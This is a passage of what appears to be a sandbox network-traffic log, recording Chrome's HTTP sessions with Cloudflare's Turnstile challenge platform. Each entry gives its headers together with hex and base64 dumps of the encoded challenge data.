2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 49 53 34 57 44 59 6c 75 55 62 59 5a 6b 53 57 42 54 64 6f 71 52 55 31 35 62 63 6e 65 5a 6f 57 53 53 6d 34 46 6f 66 5a 70 2f 72 61 4b 4f 66 49 31 2b 6b 35 36 4e 66 32 32 59 67 4a 61 71 72 37 57 37 64 58 65 78 73 58 74 2b 6d 58 75 68 6f 61 57 44 79 6f 61 2b 70 59 53 77 6b 4a 33 47 78 73 4b 73 74 4d 6d 77 6f 39 69 57 72 49 2b 2f 31 35 4b 70 76 72 6a 6c 34 4c 6a 59 73 63 6e 57 33 74 69 6a 7a 75 47 6f 33 39 33 78 76 37 33 30 73 73 37 36 30 64 50 4e 78 38 66 4b 37 66 7a 2b 39 38 50 61 76 64 44 55 2b 4f 58 44 35 4f 4c 49 34 52 48 37 33 67 72 6d 34 42 62 6a 38 4e 51 51 2b 4e 4d 48 37 52 72 70 47 74 6e 32 33 75 4d 69 47 4e 6f 6f 2f 76 6e 69 4b 68 63 62 4b 43 6e 78 42 2b 34 4e 46 51 59 30 4f 43 77 59 4f 42 41 77 4f 2f 49 55 41 68 63 2b 48 7a 67 6b 42 52 6f 4a 4f 45 Data Ascii: IS4WDYluUbYZkSWBTdoqRU15bcneZoWSSm4FofZp/raKOfI1+k56Nf22YgJaqr7W7dXexsXt+mXuhoaWDyoa+pYSwkJ3GxsKstMmwo9iWrI+/15Kpvrjl4LjYscnW3tijzuGo393xv730ss760dPNx8fK7fz+98PavdDU+OXD5OLI4RH73grm4Bbj8NQQ+NMH7RrpGtn23uMiGNoo/vniKhcbKCnxB+4NFQY0OCwYOBAwO/IUAhc+HzgkBRoJOE
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 54 47 42 6b 56 56 42 6b 61 46 46 55 61 47 31 71 57 47 78 78 62 34 56 35 59 6f 42 6f 6c 6f 43 69 6e 36 5a 35 72 49 32 4d 67 37 4f 41 68 34 35 74 70 71 31 36 6a 37 32 79 6d 48 57 52 6b 48 78 36 76 72 71 59 65 61 65 67 6f 71 6e 42 70 62 75 72 6a 4b 36 49 30 4c 4c 53 70 62 66 4b 6c 4a 72 49 33 63 2f 61 6d 72 53 76 75 37 71 57 73 4f 53 2b 75 4d 57 63 75 4d 54 57 70 4f 47 6e 77 2b 57 2b 35 38 36 77 33 38 66 6c 74 65 76 31 75 4c 62 64 77 4e 79 2f 2b 50 4d 44 38 75 67 48 38 73 50 31 39 2b 7a 66 36 67 59 42 44 77 49 43 38 51 7a 75 31 52 54 4d 32 77 6a 62 32 52 51 53 31 77 73 4f 44 76 51 41 48 67 6b 6e 41 2b 51 69 42 53 49 75 41 77 38 77 49 79 49 42 4d 79 4d 4c 4e 43 77 4c 50 54 34 50 50 77 48 34 2b 43 30 33 47 2f 35 42 46 67 46 46 46 44 34 35 48 30 41 37 4b 45 45 Data Ascii: TGBkVVBkaFFUaG1qWGxxb4V5YoBoloCin6Z5rI2Mg7OAh45tpq16j72ymHWRkHx6vrqYeaegoqnBpburjK6I0LLSpbfKlJrI3c/amrSvu7qWsOS+uMWcuMTWpOGnw+W+586w38fltev1uLbdwNy/+PMD8ugH8sP19+zf6gYBDwIC8Qzu1RTM2wjb2RQS1wsODvQAHgknA+QiBSIuAw8wIyIBMyMLNCwLPT4PPwH4+C03G/5BFgFFFD45H0A7KEE
2024-12-03 08:06:02 UTC	1369	IN	Data Raw: 6c 74 4f 63 6e 31 57 61 46 6d 58 66 31 2b 47 67 33 5a 34 59 4a 53 55 67 36 75 43 72 34 2b 72 68 70 2b 64 6b 5a 43 33 6a 33 46 78 63 72 79 73 66 6e 75 64 69 5a 53 66 6f 4c 69 6e 6d 5a 4f 46 6f 34 69 5a 6f 62 69 33 76 38 6d 37 70 64 50 4c 79 4c 62 42 7a 36 4b 34 78 37 4b 62 6b 61 32 2b 34 38 2f 68 74 4e 71 66 78 37 57 7a 71 75 58 59 7a 74 66 75 73 62 4c 4d 35 2b 47 30 74 73 61 79 72 4c 76 78 36 62 72 79 2f 65 6d 36 38 65 37 62 76 4d 66 6e 79 65 66 32 79 75 7a 64 7a 77 62 70 41 76 45 49 41 66 34 59 43 73 76 78 43 74 58 36 32 2b 6b 65 31 2f 67 64 44 68 67 6f 46 4f 41 68 35 75 54 38 44 2b 30 4e 49 41 34 55 37 7a 41 54 39 65 30 36 46 41 54 74 44 67 34 79 43 50 34 4e 47 68 6b 34 50 44 52 47 43 42 59 33 51 67 63 47 43 53 31 47 4d 53 46 41 53 6b 56 44 4a 7a 49 70 Data Ascii: ltOcn1WaFmXf1+Gg3Z4YJSUg6uCr4+rhp+dkZC3j3FxcrysfnudiZSfoLinmZOFo4iZobi3v8m7pdPLyLbBz6K4x7Kbka2+48/htNqfx7WzquXYztfusbLM5+G0tsayrLvx6bry/em68e7bvMfnyef2yuzdzwbpAvEIAf4YCsvxCtX62+ke1/gdDhgoFOAh5uT8D+0NIA4U7zAT9e06FATtDg4yCP4NGhk4PDRGCBY3QgcGCS1GMSFASkVDJzIp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49746	104.18.94.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:04 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:05 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 08:06:05 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: wYxO0Or3ig2H5/775zNgQpM3o+0Srym1zrY=$xLzlvJ1z5SubdAiL cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ec20e297c6742ab-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:05 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49747	104.18.95.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:05 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8ec20e0108594229/1733213162687/5db9e4ec9dfa903e7e1818df942884ea62bde2d81ca4bfa8ba0817ca6ace682b/ZEsw3d4CNoL5Bqk HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:05 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 03 Dec 2024 08:06:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-03 08:06:05 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 58 62 6e 6b 37 4a 33 36 6b 44 35 2d 47 42 6a 66 6c 43 69 45 36 6d 4b 39 34 74 67 63 70 4c 2d 6f 75 67 67 58 79 6d 72 4f 61 43 73 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gXbnk7J36kD5-GBjflCiE6mK94tgcpL-ouggXymrOaCsAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-03 08:06:05 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49748	104.18.95.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:07 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ec20e0108594229/1733213162689/-tr6mdixVB1rYgg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:07 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:07 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ec20e38ed677cb4-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 57 08 02 00 00 00 ea 3f d0 da 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR W?IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49749	104.18.94.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:08 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ec20e0108594229/1733213162689/-tr6mdixVB1rYgg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:09 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:09 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ec20e435eb08c30-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:09 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 57 08 02 00 00 00 ea 3f d0 da 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR W?IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49750	104.18.95.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:09 UTC	1174	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31983 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:09 UTC	16384	OUT	Data Raw: 76 5f 38 65 63 32 30 65 30 31 30 38 35 39 34 32 32 39 3d 78 32 48 33 74 77 31 58 24 4b 76 46 32 46 50 77 6a 46 39 46 37 44 34 46 4a 78 31 42 66 46 45 33 48 32 31 25 32 62 35 31 46 45 46 55 52 4f 77 69 46 47 33 4b 48 77 38 48 46 78 77 46 55 32 77 63 31 46 4f 33 49 46 4d 6a 6e 50 33 30 75 45 34 46 33 46 71 35 46 79 52 44 4a 50 34 79 47 4f 46 42 46 30 48 31 44 78 7a 2b 4a 33 46 6f 48 48 45 58 78 46 63 41 78 45 48 46 67 33 42 48 77 58 33 47 48 46 71 47 47 46 46 35 51 46 78 24 4a 52 2b 46 37 76 46 42 33 46 54 46 31 59 2b 46 79 6e 72 68 50 33 46 6f 33 30 69 34 49 46 6a 76 67 37 7a 58 58 33 7a 33 59 37 31 50 6a 48 46 4e 2d 44 6a 64 61 48 46 55 52 79 4f 46 48 59 31 2b 47 65 32 46 55 6e 6d 76 50 43 42 37 46 70 44 79 66 48 70 6d 51 4a 4c 30 51 64 61 63 76 70 48 46 Data Ascii: v_8ec20e0108594229=x2H3tw1X$KvF2FPwjF9F7D4FJx1BfFE3H21%2b51FEFUROwiFG3KHw8HFxwFU2wc1FO3IFMjnP30uE4F3Fq5FyRDJP4yGOFBF0H1Dxz+J3FoHHEXxFcAxEHFg3BHwX3GHFqGGFF5QFx$JR+F7vFB3FTF1Y+FynrhP3Fo30i4IFjvg7zXX3z3Y71PjHFN-DjdaHFURyOFHY1+Ge2FUnmvPCB7FpDyfHpmQJL0QdacvpHF
2024-12-03 08:06:09 UTC	15599	OUT	Data Raw: 4f 37 58 47 46 30 52 77 53 31 76 33 65 46 47 4f 34 38 6a 50 7a 48 31 45 68 74 68 43 46 77 38 49 4d 46 48 33 77 24 46 36 32 48 44 52 43 46 62 43 79 51 77 51 46 33 33 31 49 30 34 46 79 46 55 48 46 55 65 65 33 47 4f 46 58 46 39 46 39 4f 31 77 46 48 33 4b 24 33 4c 46 38 33 48 24 77 76 46 69 33 79 24 46 56 46 70 33 55 46 46 6a 46 42 33 79 76 31 49 46 61 33 46 74 31 34 46 7a 46 37 46 77 30 33 44 34 77 46 46 32 51 33 4d 79 4f 31 63 46 76 46 35 43 46 35 31 76 77 35 4f 55 4d 31 74 46 7a 4f 44 72 72 49 34 78 4f 44 58 31 4b 46 65 4f 44 35 31 4b 46 67 48 46 46 46 65 6a 24 31 34 46 4a 4f 75 43 31 6e 49 47 64 6b 47 30 61 48 46 46 37 4e 2d 48 58 33 67 62 56 73 46 4a 49 44 47 31 43 46 4d 49 34 24 34 69 31 4d 49 55 24 34 59 31 4c 33 63 64 46 56 31 6a 33 51 42 4a 2b 33 75 Data Ascii: O7XGF0RwS1v3eFGO48jPzH1EhthCFw8IMFH3w$F62HDRCFbCyQwQF331I04FyFUHFUee3GOFXF9F9O1wFH3K$3LF83H$wvFi3y$FVFp3UFFjFB3yv1IFa3Ft14FzF7Fw03D4wFF2Q3MyO1cFvF5CF51vw5OUM1tFzODrrI4xODX1KFeOD51KFgHFFFej$14FJOuC1nIGdkG0aHFF7N-HX3gbVsFJIDG1CFMI4$4i1MIU$4Y1L3cdFV1j3QBJ+3u
2024-12-03 08:06:09 UTC	330	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:09 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26300 Connection: close cf-chl-gen: J/dc8zUXXUgJg7DX3aJV3JUGyW5EQk/Fp7HePxAnhX3ajt8D/HYO9KSxnhr3xs73y18QxxZQQM22mudz$APjDbbQs8lrazWyP Server: cloudflare CF-RAY: 8ec20e43bb8f41c0-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:09 UTC	1039	IN	Data Raw: 6d 48 47 4a 64 32 75 45 54 34 6d 53 6d 47 75 42 6e 46 79 42 64 35 36 41 71 49 6d 64 5a 32 6d 4e 6f 57 75 78 67 70 42 76 6f 59 4b 6c 6a 70 57 75 71 70 65 4d 69 62 57 53 6b 37 32 36 76 49 57 54 67 34 65 6f 77 37 57 61 75 4d 2b 76 72 73 54 52 74 4d 69 64 6f 38 43 6b 74 74 61 56 74 4d 37 54 6d 35 79 54 72 38 7a 41 77 75 57 69 31 4e 4c 65 6f 64 6e 4c 33 39 37 4f 36 4c 2f 63 38 4f 62 71 73 75 62 31 36 65 72 61 2b 4d 76 6f 74 74 54 33 77 74 6d 2b 30 2f 44 36 35 67 62 47 77 74 7a 38 31 2b 62 4c 43 74 49 42 41 77 62 53 36 50 62 52 39 50 72 62 32 2b 6b 4f 47 50 30 62 37 50 33 63 2b 2f 50 33 42 2f 4d 73 37 4f 6f 61 35 69 7a 6f 49 66 41 47 4d 44 49 6b 4e 78 44 33 47 69 6b 74 48 2f 67 35 4c 69 51 56 4e 54 6b 70 4a 30 51 67 51 79 55 35 4f 30 52 52 50 44 74 41 48 54 56 Data Ascii: mHGJd2uET4mSmGuBnFyBd56AqImdZ2mNoWuxgpBvoYKljpWuqpeMibWSk726vIWTg4eow7WauM+vrsTRtMido8CkttaVtM7Tm5yTr8zAwuWi1NLeodnL397O6L/c8Obqsub16era+MvottT3wtm+0/D65gbGwtz81+bLCtIBAwbS6PbR9Prb2+kOGP0b7P3c+/P3B/Ms7Ooa5izoIfAGMDIkNxD3GiktH/g5LiQVNTkpJ0QgQyU5O0RRPDtAHTV
2024-12-03 08:06:09 UTC	1369	IN	Data Raw: 36 70 5a 57 48 63 61 61 56 66 6d 79 74 67 6d 70 2f 63 61 79 46 73 35 43 6c 72 70 43 47 68 49 6d 75 75 4a 31 79 6d 71 4f 61 72 34 57 7a 6e 5a 47 38 77 35 69 62 71 71 6d 67 78 6f 6e 44 71 4e 43 32 71 70 4f 70 6d 63 65 78 32 37 6e 65 76 5a 2f 50 77 4a 2f 65 34 62 2f 53 33 39 50 61 76 72 58 72 33 64 76 4f 71 4d 62 55 33 38 4b 31 38 64 66 31 35 4d 71 30 2f 75 2f 59 76 37 72 4e 75 2b 48 38 2f 65 4d 46 2b 4f 6e 47 32 74 6e 4e 41 38 6e 51 35 4d 77 4b 38 4e 55 54 30 64 6a 74 35 50 58 75 33 43 44 70 43 39 54 56 33 2f 4c 30 49 79 66 35 2f 76 72 32 2b 69 54 38 49 4f 4d 62 4e 53 67 57 43 77 77 6c 47 69 38 75 48 53 77 65 4e 42 45 63 4e 77 4e 47 49 78 55 32 4b 41 6e 38 51 52 77 67 53 54 6f 76 50 30 77 54 44 6b 52 56 4c 31 6f 6a 56 7a 63 36 4f 42 59 37 54 44 6f 37 58 6c Data Ascii: 6pZWHcaaVfmytgmp/cayFs5ClrpCGhImuuJ1ymqOar4WznZG8w5ibqqmgxonDqNC2qpOpmcex27nevZ/PwJ/e4b/S39PavrXr3dvOqMbU38K18df15Mq0/u/Yv7rNu+H8/eMF+OnG2tnNA8nQ5MwK8NUT0djt5PXu3CDpC9TV3/L0Iyf5/vr2+iT8IOMbNSgWCwwlGi8uHSweNBEcNwNGIxU2KAn8QRwgSTovP0wTDkRVL1ojVzc6OBY7TDo7Xl
2024-12-03 08:06:09 UTC	1369	IN	Data Raw: 64 6f 6d 47 66 34 36 48 6f 36 69 77 69 36 43 42 68 4a 6d 48 74 70 6c 36 70 70 35 34 6f 4a 48 45 65 36 57 69 6d 4d 6d 36 67 36 4f 32 78 4c 71 70 30 4e 44 4d 79 39 54 51 7a 4b 79 75 30 61 4c 51 78 62 65 59 7a 39 37 41 34 4a 32 77 6f 2b 44 68 77 2b 6e 5a 31 4d 32 6d 7a 38 54 4a 32 74 76 6d 74 4f 6a 53 79 38 33 4a 37 62 66 6e 7a 74 7a 62 38 64 37 39 77 67 44 63 35 63 48 5a 34 63 48 6b 78 65 4c 64 34 51 55 4b 43 64 33 6f 7a 2f 41 4d 38 78 45 45 39 74 51 56 33 66 59 41 48 74 2f 37 34 69 4d 52 34 78 55 69 38 77 77 68 4b 65 51 5a 42 53 73 47 4e 66 77 58 43 78 4c 30 45 41 37 35 45 52 30 52 4e 68 45 54 50 44 48 39 4f 68 6b 68 50 7a 49 65 53 30 56 50 48 46 42 4a 48 53 41 73 44 6b 45 54 4b 7a 52 53 47 56 45 58 56 54 39 4d 54 6c 41 7a 58 46 6c 61 4f 31 68 61 4e 53 68 Data Ascii: domGf46Ho6iwi6CBhJmHtpl6pp54oJHEe6WimMm6g6O2xLqp0NDMy9TQzKyu0aLQxbeYz97A4J2wo+Dhw+nZ1M2mz8TJ2tvmtOjSy83J7bfnztzb8d79wgDc5cHZ4cHkxeLd4QUKCd3oz/AM8xEE9tQV3fYAHt/74iMR4xUi8wwhKeQZBSsGNfwXCxL0EA75ER0RNhETPDH9OhkhPzIeS0VPHFBJHSAsDkETKzRSGVEXVT9MTlAzXFlaO1haNSh
2024-12-03 08:06:09 UTC	1369	IN	Data Raw: 49 43 50 68 70 2b 33 67 61 4a 35 63 58 70 31 6d 4c 53 2f 74 33 6d 57 6a 35 4b 6c 6e 4c 6c 37 6e 35 6d 38 70 4d 57 66 76 38 2f 52 70 38 54 55 30 6f 32 79 6c 4d 7a 45 71 4c 53 37 6e 70 66 57 30 61 4f 67 77 71 62 66 78 4d 4c 61 76 4c 71 37 33 36 71 36 78 61 37 4f 78 73 4c 49 37 38 4c 34 38 50 50 77 2b 50 58 34 33 75 2f 38 34 4d 49 42 78 75 54 32 41 38 44 46 32 64 38 48 2b 2b 76 4c 34 67 48 55 46 41 58 6c 7a 2b 6a 33 46 51 30 58 2f 64 62 34 49 66 58 56 39 50 37 30 42 53 41 6a 46 65 45 65 2f 4f 54 70 2b 76 6b 62 4a 53 73 46 45 68 63 48 4a 53 55 4d 4d 52 63 4c 39 6a 51 68 51 79 51 77 50 55 49 55 4d 68 38 46 47 77 77 62 4f 42 6b 62 4c 31 51 66 49 77 35 49 4c 56 41 53 4a 69 6c 58 50 7a 4d 63 4d 69 4a 51 4f 6d 52 43 5a 30 59 6f 57 45 6c 71 4e 6b 59 2f 4a 6d 39 53 Data Ascii: ICPhp+3gaJ5cXp1mLS/t3mWj5KlnLl7n5m8pMWfv8/Rp8TU0o2ylMzEqLS7npfW0aOgwqbfxMLavLq736q6xa7OxsLI78L48PPw+PX43u/84MIBxuT2A8DF2d8H++vL4gHUFAXlz+j3FQ0X/db4IfXV9P70BSAjFeEe/OTp+vkbJSsFEhcHJSUMMRcL9jQhQyQwPUIUMh8FGwwbOBkbL1QfIw5ILVASJilXPzMcMiJQOmRCZ0YoWElqNkY/Jm9S
2024-12-03 08:06:09 UTC	1369	IN	Data Raw: 5a 34 70 35 74 7a 71 49 36 41 74 34 71 6b 6d 4d 43 79 74 70 43 4a 79 73 4c 49 6f 71 4f 34 7a 63 54 54 6e 36 32 75 72 73 6d 55 71 4c 4c 4e 7a 37 71 33 30 72 57 36 72 36 43 73 32 4e 71 30 74 4e 2f 62 78 4f 7a 5a 34 36 7a 61 78 39 4f 77 30 4d 6a 54 7a 2f 54 72 73 74 6e 76 31 74 4b 36 74 2b 6e 38 30 4c 33 58 35 4d 62 43 31 67 58 66 32 65 33 6e 2b 76 33 65 30 51 63 46 7a 52 54 70 46 4e 58 72 2f 41 76 71 38 74 33 77 47 66 76 73 47 79 58 35 41 53 41 46 42 43 30 42 4b 67 55 68 36 79 41 47 4a 65 77 47 44 75 34 56 4b 42 55 73 44 67 34 52 43 7a 38 30 46 6b 52 41 47 53 41 53 49 68 30 6d 50 52 30 45 49 6b 49 79 49 53 73 78 48 68 38 70 53 44 6c 50 4e 44 68 4c 58 54 4a 53 49 54 51 32 50 30 49 30 4e 6c 68 58 58 44 74 47 4e 6b 52 4a 4a 7a 41 6b 51 7a 35 6a 4b 45 5a 34 5a Data Ascii: Z4p5tzqI6At4qkmMCytpCJysLIoqO4zcTTn62ursmUqLLNz7q30rW6r6Cs2Nq0tN/bxOzZ46zax9Ow0MjTz/Trstnv1tK6t+n80L3X5MbC1gXf2e3n+v3e0QcFzRTpFNXr/Avq8t3wGfvsGyX5ASAFBC0BKgUh6yAGJewGDu4VKBUsDg4RCz80FkRAGSASIh0mPR0EIkIyISsxHh8pSDlPNDhLXTJSITQ2P0I0NlhXXDtGNkRJJzAkQz5jKEZ4Z
2024-12-03 08:06:09 UTC	1369	IN	Data Raw: 73 72 58 2b 44 75 5a 43 38 6d 5a 72 45 77 63 4f 43 77 63 66 48 6f 73 62 4b 76 71 72 50 30 62 2b 72 74 4e 47 5a 70 74 79 63 73 4f 48 63 6d 39 2f 6c 32 4b 48 69 6e 73 6e 66 77 61 72 70 71 65 76 4c 33 36 7a 49 33 4e 2b 75 73 37 62 79 73 2b 58 53 36 2f 54 33 75 66 58 37 74 65 77 43 2f 41 44 30 41 63 48 49 44 63 55 46 43 2b 59 48 44 65 62 6a 45 4e 49 44 30 67 72 57 47 4f 38 4f 45 2f 41 69 41 4e 6f 66 34 68 72 67 46 50 63 6c 34 79 67 74 47 75 76 76 4a 76 77 70 42 67 63 78 4c 6a 44 75 4c 6a 51 30 44 7a 4d 33 4b 78 63 38 50 69 77 59 49 54 34 47 45 30 6b 4a 48 55 34 73 42 30 77 77 51 6b 63 71 4b 45 59 53 4c 68 4e 51 55 46 68 61 50 31 30 64 4b 31 4a 63 54 45 31 6a 49 32 41 6d 57 6d 49 70 59 6b 6c 6f 51 30 39 69 4b 6a 46 68 64 48 46 6b 65 6d 59 32 4c 6d 5a 6f 4f 6a Data Ascii: srX+DuZC8mZrEwcOCwcfHosbKvqrP0b+rtNGZptycsOHcm9/l2KHinsnfwarpqevL36zI3N+us7bys+XS6/T3ufX7tewC/AD0AcHIDcUFC+YHDebjENID0grWGO8OE/AiANof4hrgFPcl4ygtGuvvJvwpBgcxLjDuLjQ0DzM3Kxc8PiwYIT4GE0kJHU4sB0wwQkcqKEYSLhNQUFhaP10dK1JcTE1jI2AmWmIpYkloQ09iKjFhdHFkemY2LmZoOj
2024-12-03 08:06:09 UTC	1369	IN	Data Raw: 77 37 6d 38 68 59 75 47 75 59 71 36 30 63 47 4e 7a 6f 37 49 6b 36 32 33 78 5a 54 48 71 39 43 59 74 62 66 4f 6e 72 6d 2f 32 36 4c 53 6f 74 4f 6b 35 71 72 5a 71 74 76 4c 34 4b 37 66 35 65 57 79 34 71 37 6d 74 74 48 50 36 62 6d 78 7a 2f 4f 2f 32 64 66 7a 77 66 4c 47 39 4d 58 32 79 67 44 4a 7a 38 59 49 7a 51 2f 4b 42 39 4c 74 34 77 54 56 42 39 59 4f 32 67 77 53 45 74 7a 35 39 78 6a 68 32 51 51 61 35 51 49 4d 49 65 73 47 43 43 4c 74 48 2b 34 6a 38 65 6b 55 4a 50 59 53 47 44 54 35 38 52 67 77 2f 53 2f 36 4d 67 49 64 2f 6a 63 48 4f 44 34 2f 43 6a 77 77 50 67 38 70 45 30 55 52 4c 6a 68 48 47 44 49 30 53 